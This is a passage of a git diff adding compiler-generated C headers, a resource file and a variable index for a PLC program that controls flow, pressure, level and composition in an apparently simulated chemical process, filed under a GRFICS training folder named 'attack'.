__DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; 